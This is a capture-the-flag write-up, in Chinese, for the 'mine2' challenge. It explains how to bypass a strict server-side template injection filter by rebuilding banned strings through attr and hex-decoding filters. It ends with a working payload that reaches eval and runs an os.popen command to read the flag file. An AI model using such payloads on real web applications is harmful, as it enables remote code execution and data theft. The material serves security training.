mine2

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

  • SSTI绕过技巧

解题思路

主页是一个扫雷游戏,完成游戏后将进入/success界面

1
location.href = './success?msg='+name;

进入该页面后可以看到我们的msg参数将显示在页面中,尝试进行SSTI,发现存在SSTI 但是过滤非常严格

经过FUZZ可以发现过滤了~ set or args _ [ request lipsum = chr json g . ' {{ u get 空格等字符

首先,过滤了{{可以用 {% %}来代替

然后选手需要考虑的是如果构造出被ban的字符串,比如带_的字符串。

set被过滤导致选手无法通过变量赋值来得到想要的字符串,比如set se=dict(se=1).keys()|reverse|first就将se这个字符串赋值给了se变量。

~被过滤导致选手无法使用一些巧妙的拼接技巧来获取想要的字符串

[or 被过滤导致选手难以通过[index]{%for %}等技巧获取数组中的值

.被过滤导致选手无法使用一些常用函数,只能使用过滤器

u被过滤是为了防止unicode编码非预期

那么这里考察的就是选手对过滤器以及python内置类的方法的掌握程度了

经过查阅python手册,可以找到python的'byte'类存在fromhex方法,可以从十六进制转换为字符串。

那么我们可以通过 "a"|attr("encode")() 得到byte类型的数据,然后通过fromhex得到目标字符串,然后再通过decode函数转回字符串类型,最后一个attr过滤器,就可以进行ssti注入了

这里我们为了从数组中得到某个元素,我们需要调用其pop方法或者get方法,但是需要注意的是,pop方法会破坏环境,导致pop得到数组元素后,下一次再想获取数组元素就获取不到了。

而且这里get和pop字符串也被过滤了,如何用十六进制转换回字符串,再将他作为函数名来调用,这也是选手需要考虑的问题。

最终payload:

1
{% raw %}{%{% endraw %}print("a"|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f636c6173735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f6d726f5f5f")|attr("decode")())|last|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f737562636c61737365735f5f")|attr("decode")())()|attr("pop")(414)|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f696e69745f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f676c6f62616c735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f6275696c74696e735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("6576616c")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f696d706f72745f5f28226f7322292e706f70656e28276361743c666c61672e74787427292e726561642829")|attr("decode")()))%}